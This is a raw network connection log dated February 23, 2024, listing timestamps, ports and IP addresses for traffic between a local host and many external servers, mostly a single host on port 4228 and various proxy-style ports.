Feb 23, 2024 14:28:23.628532887 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628540039 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.628566027 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628591061 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628619909 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.628645897 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628669024 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.628684998 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628731012 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628752947 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.628823996 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628830910 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628870010 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628878117 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628885031 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628930092 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628947973 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628954887 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.628988981 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629023075 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629057884 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629072905 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629098892 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.629132986 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.629141092 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629162073 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629211903 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.629250050 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629257917 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629266024 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629288912 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629316092 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629318953 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.629318953 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.629343987 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629369020 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629409075 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.629447937 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629492998 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629542112 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629556894 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629578114 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.629578114 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.629606962 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629664898 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629673004 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.629698992 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629728079 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629739046 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.629777908 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629786015 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.629822969 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629853964 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629899025 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629930019 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629934072 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.629946947 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629966021 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.629986048 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630007029 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.630039930 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.630048990 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630069017 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630105972 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630132914 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.630134106 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630162954 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630189896 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.630204916 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630306959 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.630346060 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630388021 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630414009 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630464077 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630486965 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630491972 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.630516052 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630549908 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.630568027 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630589008 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630614042 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.630620003 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630646944 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630666971 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.630707026 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630732059 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.630809069 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630886078 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.630959988 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631004095 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631062984 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.631066084 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631098032 CET	51016	8089	192.168.2.8	117.69.233.44
Feb 23, 2024 14:28:23.631104946 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631110907 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.631156921 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631177902 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631185055 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.631215096 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631242990 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.631253958 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631299019 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.631305933 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631354094 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631441116 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631513119 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631526947 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631535053 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631539106 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.631544113 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631557941 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631567001 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631567001 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.631575108 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631597996 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.631634951 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631660938 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.631669998 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631692886 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631719112 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631742954 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.631767035 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631774902 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631782055 CET	51017	3128	192.168.2.8	154.223.20.21
Feb 23, 2024 14:28:23.631810904 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631853104 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.631863117 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631874084 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631886959 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631900072 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.631925106 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631954908 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.631967068 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.632045984 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632051945 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.632055998 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632123947 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.632131100 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632148981 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632193089 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632206917 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632215977 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632234097 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.632236958 CET	50512	80	192.168.2.8	50.222.245.47
Feb 23, 2024 14:28:23.632240057 CET	50058	44712	192.168.2.8	92.204.135.4
Feb 23, 2024 14:28:23.632244110 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.632246971 CET	50511	10293	192.168.2.8	75.119.145.169
Feb 23, 2024 14:28:23.632246971 CET	50464	52116	192.168.2.8	188.255.244.83
Feb 23, 2024 14:28:23.632257938 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632286072 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.632297039 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632322073 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632332087 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632354975 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.632375956 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.632402897 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632411003 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632426023 CET	80	50834	175.183.82.221	192.168.2.8
Feb 23, 2024 14:28:23.632433891 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632457972 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.632483959 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632525921 CET	50834	80	192.168.2.8	175.183.82.221
Feb 23, 2024 14:28:23.632611990 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632644892 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632647991 CET	50834	80	192.168.2.8	175.183.82.221
Feb 23, 2024 14:28:23.632672071 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.632711887 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632744074 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.632811069 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632904053 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.632975101 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.633074045 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.633078098 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.633088112 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.633152962 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.633157969 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.633162022 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.633177996 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.633228064 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.633251905 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.633251905 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.633271933 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.633292913 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.633322954 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.633363008 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.633760929 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.633871078 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.633874893 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.634234905 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.634310007 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.634341002 CET	51018	1080	192.168.2.8	5.252.23.220
Feb 23, 2024 14:28:23.634372950 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.634434938 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.634506941 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.634540081 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.634599924 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.634648085 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.634730101 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.634747982 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.634861946 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.634875059 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.634886980 CET	51019	8080	192.168.2.8	103.180.194.146
Feb 23, 2024 14:28:23.634927034 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.635037899 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.635113001 CET	38080	50184	152.32.238.63	192.168.2.8
Feb 23, 2024 14:28:23.635139942 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.635210037 CET	50184	38080	192.168.2.8	152.32.238.63
Feb 23, 2024 14:28:23.635305882 CET	80	50312	143.198.241.47	192.168.2.8
Feb 23, 2024 14:28:23.635343075 CET	50184	38080	192.168.2.8	152.32.238.63
Feb 23, 2024 14:28:23.635361910 CET	3128	50198	34.83.143.6	192.168.2.8
Feb 23, 2024 14:28:23.636221886 CET	15673	50860	43.153.133.208	192.168.2.8
Feb 23, 2024 14:28:23.636336088 CET	50860	15673	192.168.2.8	43.153.133.208
Feb 23, 2024 14:28:23.636477947 CET	50860	15673	192.168.2.8	43.153.133.208
Feb 23, 2024 14:28:23.636516094 CET	51020	4153	192.168.2.8	95.43.244.15
Feb 23, 2024 14:28:23.637346029 CET	3129	50586	20.204.190.254	192.168.2.8
Feb 23, 2024 14:28:23.637469053 CET	51021	31028	192.168.2.8	198.199.70.20
Feb 23, 2024 14:28:23.637639046 CET	15673	50088	43.128.155.154	192.168.2.8
Feb 23, 2024 14:28:23.637902021 CET	50586	3129	192.168.2.8	20.204.190.254
Feb 23, 2024 14:28:23.638170958 CET	80	50861	104.22.50.220	192.168.2.8
Feb 23, 2024 14:28:23.638206005 CET	51022	20341	192.168.2.8	173.212.240.168
Feb 23, 2024 14:28:23.638371944 CET	8080	49743	82.135.123.155	192.168.2.8
Feb 23, 2024 14:28:23.638547897 CET	53882	50787	171.244.140.160	192.168.2.8
Feb 23, 2024 14:28:23.638665915 CET	50787	53882	192.168.2.8	171.244.140.160
Feb 23, 2024 14:28:23.638809919 CET	50787	53882	192.168.2.8	171.244.140.160
Feb 23, 2024 14:28:23.639549971 CET	51023	80	192.168.2.8	104.19.233.117
Feb 23, 2024 14:28:23.639976025 CET	6467	50590	107.181.141.70	192.168.2.8
Feb 23, 2024 14:28:23.641390085 CET	51025	80	192.168.2.8	202.5.16.44
Feb 23, 2024 14:28:23.641438961 CET	51024	8080	192.168.2.8	113.161.59.136
Feb 23, 2024 14:28:23.642072916 CET	9023	50939	67.43.227.227	192.168.2.8
Feb 23, 2024 14:28:23.642307997 CET	51026	29380	192.168.2.8	37.187.77.58
Feb 23, 2024 14:28:23.643604994 CET	51027	8080	192.168.2.8	106.51.62.106
Feb 23, 2024 14:28:23.643631935 CET	51028	80	192.168.2.8	202.60.194.23
Feb 23, 2024 14:28:23.643769979 CET	80	49850	43.231.22.229	192.168.2.8
Feb 23, 2024 14:28:23.643961906 CET	80	50842	213.33.2.28	192.168.2.8
Feb 23, 2024 14:28:23.644078016 CET	49850	80	192.168.2.8	43.231.22.229
Feb 23, 2024 14:28:23.644248962 CET	80	49988	32.223.6.94	192.168.2.8
Feb 23, 2024 14:28:23.644623995 CET	60684	50911	162.210.192.135	192.168.2.8
Feb 23, 2024 14:28:23.644926071 CET	51029	8080	192.168.2.8	152.70.139.52
Feb 23, 2024 14:28:23.645512104 CET	51030	4145	192.168.2.8	103.12.246.113
Feb 23, 2024 14:28:23.646223068 CET	46249	49869	167.172.109.12	192.168.2.8
Feb 23, 2024 14:28:23.646415949 CET	51031	80	192.168.2.8	194.31.64.44
Feb 23, 2024 14:28:23.647624969 CET	51032	80	192.168.2.8	50.170.90.26
Feb 23, 2024 14:28:23.647852898 CET	50244	1080	192.168.2.8	180.210.222.205
Feb 23, 2024 14:28:23.647857904 CET	50242	14719	192.168.2.8	152.228.140.225
Feb 23, 2024 14:28:23.647866011 CET	50243	59727	192.168.2.8	92.204.134.38
Feb 23, 2024 14:28:23.647866011 CET	50518	3128	192.168.2.8	91.149.224.168
Feb 23, 2024 14:28:23.649533987 CET	4145	50902	98.188.47.132	192.168.2.8
Feb 23, 2024 14:28:23.649540901 CET	8089	50814	58.219.248.202	192.168.2.8
Feb 23, 2024 14:28:23.649578094 CET	51033	4128	192.168.2.8	181.81.245.194
Feb 23, 2024 14:28:23.649647951 CET	50902	4145	192.168.2.8	98.188.47.132
Feb 23, 2024 14:28:23.649770021 CET	50902	4145	192.168.2.8	98.188.47.132
Feb 23, 2024 14:28:23.650135994 CET	51034	5678	192.168.2.8	195.175.22.194
Feb 23, 2024 14:28:23.651503086 CET	1585	50514	67.43.236.20	192.168.2.8
Feb 23, 2024 14:28:23.651537895 CET	51035	9180	192.168.2.8	94.23.252.168
Feb 23, 2024 14:28:23.651566029 CET	26169	50505	67.43.236.20	192.168.2.8
Feb 23, 2024 14:28:23.652487040 CET	51036	8080	192.168.2.8	45.250.215.8
Feb 23, 2024 14:28:23.654011965 CET	51037	49032	192.168.2.8	162.241.40.187
Feb 23, 2024 14:28:23.655030966 CET	51038	1976	192.168.2.8	154.236.177.100
Feb 23, 2024 14:28:23.656219006 CET	51039	3128	192.168.2.8	104.165.127.197
Feb 23, 2024 14:28:23.656794071 CET	51040	41890	192.168.2.8	197.232.36.85
Feb 23, 2024 14:28:23.657752037 CET	51041	58927	192.168.2.8	200.116.198.160
Feb 23, 2024 14:28:23.658190012 CET	8443	50266	101.231.64.89	192.168.2.8
Feb 23, 2024 14:28:23.658468962 CET	8443	50266	101.231.64.89	192.168.2.8
Feb 23, 2024 14:28:23.658637047 CET	51042	8080	192.168.2.8	201.221.9.105
Feb 23, 2024 14:28:23.658962965 CET	4145	50901	104.200.152.30	192.168.2.8
Feb 23, 2024 14:28:23.659200907 CET	50901	4145	192.168.2.8	104.200.152.30
Feb 23, 2024 14:28:23.659276962 CET	50901	4145	192.168.2.8	104.200.152.30
Feb 23, 2024 14:28:23.662240982 CET	80	50956	172.67.3.98	192.168.2.8
Feb 23, 2024 14:28:23.662396908 CET	50956	80	192.168.2.8	172.67.3.98
Feb 23, 2024 14:28:23.662709951 CET	51043	41649	192.168.2.8	51.75.125.208
Feb 23, 2024 14:28:23.662714958 CET	50956	80	192.168.2.8	172.67.3.98
Feb 23, 2024 14:28:23.663475990 CET	44612	50201	54.39.50.68	192.168.2.8
Feb 23, 2024 14:28:23.663485050 CET	50568	35568	192.168.2.8	107.172.79.64
Feb 23, 2024 14:28:23.663485050 CET	50248	38958	192.168.2.8	162.215.223.71
Feb 23, 2024 14:28:23.663496971 CET	50246	58854	192.168.2.8	173.212.240.168
Feb 23, 2024 14:28:23.663496971 CET	50253	4153	192.168.2.8	84.237.248.137
Feb 23, 2024 14:28:23.663501978 CET	50259	20971	192.168.2.8	208.87.131.151
Feb 23, 2024 14:28:23.663512945 CET	50261	16521	192.168.2.8	161.97.170.209
Feb 23, 2024 14:28:23.663516045 CET	49917	80	192.168.2.8	50.175.212.74
Feb 23, 2024 14:28:23.663516045 CET	50250	999	192.168.2.8	8.242.176.37
Feb 23, 2024 14:28:23.663527012 CET	50251	54395	192.168.2.8	51.79.87.144
Feb 23, 2024 14:28:23.663527012 CET	50255	46015	192.168.2.8	167.99.39.82
Feb 23, 2024 14:28:23.663527966 CET	50263	8080	192.168.2.8	201.20.115.22
Feb 23, 2024 14:28:23.663542032 CET	5002	50144	8.210.60.44	192.168.2.8
Feb 23, 2024 14:28:23.663613081 CET	50201	44612	192.168.2.8	54.39.50.68
Feb 23, 2024 14:28:23.663723946 CET	3129	49922	20.219.177.85	192.168.2.8
Feb 23, 2024 14:28:23.663743973 CET	50201	44612	192.168.2.8	54.39.50.68
Feb 23, 2024 14:28:23.664011955 CET	51044	3629	192.168.2.8	5.165.2.223
Feb 23, 2024 14:28:23.664412022 CET	8443	50852	101.231.64.89	192.168.2.8
Feb 23, 2024 14:28:23.664510965 CET	50852	8443	192.168.2.8	101.231.64.89
Feb 23, 2024 14:28:23.664597988 CET	50852	8443	192.168.2.8	101.231.64.89
Feb 23, 2024 14:28:23.665291071 CET	51045	31433	192.168.2.8	103.210.31.49
Feb 23, 2024 14:28:23.665874004 CET	20003	50523	72.10.160.171	192.168.2.8
Feb 23, 2024 14:28:23.665956020 CET	3128	50895	37.233.102.111	192.168.2.8
Feb 23, 2024 14:28:23.666224957 CET	15265	50517	72.10.160.90	192.168.2.8
Feb 23, 2024 14:28:23.666313887 CET	8080	49743	82.135.123.155	192.168.2.8
Feb 23, 2024 14:28:23.666321993 CET	1080	50295	95.216.201.74	192.168.2.8
Feb 23, 2024 14:28:23.666878939 CET	8080	49743	82.135.123.155	192.168.2.8
Feb 23, 2024 14:28:23.666914940 CET	51046	1976	192.168.2.8	154.236.179.226
Feb 23, 2024 14:28:23.666951895 CET	49743	8080	192.168.2.8	82.135.123.155
Feb 23, 2024 14:28:23.667191982 CET	8080	49743	82.135.123.155	192.168.2.8
Feb 23, 2024 14:28:23.667228937 CET	8080	49743	82.135.123.155	192.168.2.8
Feb 23, 2024 14:28:23.667315960 CET	49743	8080	192.168.2.8	82.135.123.155
Feb 23, 2024 14:28:23.667570114 CET	51047	84	192.168.2.8	103.26.108.254
Feb 23, 2024 14:28:23.668555021 CET	51048	80	192.168.2.8	185.162.231.254
Feb 23, 2024 14:28:23.669325113 CET	44087	50349	185.244.36.240	192.168.2.8
Feb 23, 2024 14:28:23.669548988 CET	51049	80	192.168.2.8	50.231.172.74
Feb 23, 2024 14:28:23.670438051 CET	80	50906	172.67.181.58	192.168.2.8
Feb 23, 2024 14:28:23.670485973 CET	51050	1234	192.168.2.8	128.199.244.96
Feb 23, 2024 14:28:23.670515060 CET	80	50906	172.67.181.58	192.168.2.8
Feb 23, 2024 14:28:23.670788050 CET	50906	80	192.168.2.8	172.67.181.58
Feb 23, 2024 14:28:23.670856953 CET	80	50906	172.67.181.58	192.168.2.8
Feb 23, 2024 14:28:23.671106100 CET	51051	48606	192.168.2.8	68.71.249.153
Feb 23, 2024 14:28:23.671183109 CET	50906	80	192.168.2.8	172.67.181.58
Feb 23, 2024 14:28:23.671295881 CET	7890	50014	115.171.217.48	192.168.2.8
Feb 23, 2024 14:28:23.671410084 CET	50014	7890	192.168.2.8	115.171.217.48
Feb 23, 2024 14:28:23.671506882 CET	50014	7890	192.168.2.8	115.171.217.48
Feb 23, 2024 14:28:23.672708035 CET	1081	50218	125.228.77.228	192.168.2.8
Feb 23, 2024 14:28:23.674612999 CET	51052	4145	192.168.2.8	203.223.171.185
Feb 23, 2024 14:28:23.676373959 CET	51054	32650	192.168.2.8	84.254.0.86
Feb 23, 2024 14:28:23.676373959 CET	51053	80	192.168.2.8	91.121.88.53
Feb 23, 2024 14:28:23.677542925 CET	51055	9090	192.168.2.8	91.241.217.58
Feb 23, 2024 14:28:23.679024935 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.679063082 CET	51056	32650	192.168.2.8	41.217.223.145
Feb 23, 2024 14:28:23.679105043 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.679105043 CET	50079	20695	192.168.2.8	67.43.236.20
Feb 23, 2024 14:28:23.679120064 CET	50472	80	192.168.2.8	146.83.118.9
Feb 23, 2024 14:28:23.679131031 CET	50595	30883	192.168.2.8	67.43.227.228
Feb 23, 2024 14:28:23.679136038 CET	49859	80	192.168.2.8	62.99.138.162
Feb 23, 2024 14:28:23.679527044 CET	51057	8080	192.168.2.8	209.97.150.167
Feb 23, 2024 14:28:23.679761887 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.679825068 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.679899931 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.679960012 CET	4228	50048	5.161.219.13	192.168.2.8
